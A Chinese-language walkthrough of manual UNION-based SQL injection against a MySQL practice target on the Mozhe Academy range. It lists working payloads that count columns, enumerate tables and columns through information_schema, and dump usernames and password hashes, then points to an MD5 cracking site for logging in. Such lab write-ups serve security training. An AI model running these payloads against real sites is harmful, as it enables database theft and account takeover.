一、SQL手工注入漏洞測試(MySQL數據庫)
本文以墨者學院靶場為例,演示MySQL數據庫的手工SQL注入全過程。靶場以自己的地址為準:http://124.70.64.48:47777/new_list.php?id=1
二、注入原理與流程(如下指令去掉了id之前的內容)
MySQL手工注入主要通過閉合SQL語句、聯合查詢系統表來獲取敏感信息。以下是完整的攻擊流程:
1. 判斷字段數
id=1 order by 5
- 作用:確定SELECT查詢返回的列數
- 原理:通過遞增
order by
后的數字,當頁面報錯時說明超出實際字段數 - 示例:若
order by 4
正常但order by 5
報錯,說明有4個字段
2. 確定回顯位置
id=-1 union select 1,2,3,4
- 關鍵點:
id=-1
使原查詢無結果union select
強制返回我們的數據- 頁面顯示的數字即為可回顯的列位置
- 輸出:假設頁面顯示
2
和3
,則后續注入用這兩個位置
3. 獲取數據庫信息
id=-1 union select 1,group_concat(database()),3,4
- 函數說明:
database()
:當前數據庫名稱group_concat()
:多行結果合并為字符串
- 典型返回:
mozhe_Discuz_StormGroup
4. 枚舉數據表
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 系統表說明:
information_schema.tables
:存儲所有表信息table_schema
:過濾指定數據庫的表
- 輸出示例:
StormGroup_member,notice,...
5. 獲取字段結構
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
- 系統表說明:
information_schema.columns
:存儲列定義信息table_name
:指定目標表
- 返回結果:
id,name,password,status,...
6. 提取賬號密碼
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
- 實戰技巧:
- 使用
group_concat()
合并所有記錄 - 用
,
分隔不同字段(如admin,user1
和123456,qwerty
)
- 使用
- 數據示例:
用戶名:mozhe,admin,... 密碼:5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,...
7. MD5解密后,手動登錄,獲取Key
MD5工具地址:https://www.cmd5.com/
三、關鍵指令速查表
指令/函數 | 作用 | MySQL特性說明 |
---|---|---|
order by N | 判斷字段數 | 報錯法最可靠 |
union select | 聯合查詢 | 前后列數必須相同 |
database() | 當前數據庫名 | 等價于schema() |
group_concat() | 行轉字符串 | 默認逗號分隔 |
information_schema | 元數據庫 | 存儲所有表/列定義 |
table_schema | 過濾數據庫 | 值需加引號 |
table_name | 過濾表名 | 區分大小寫 |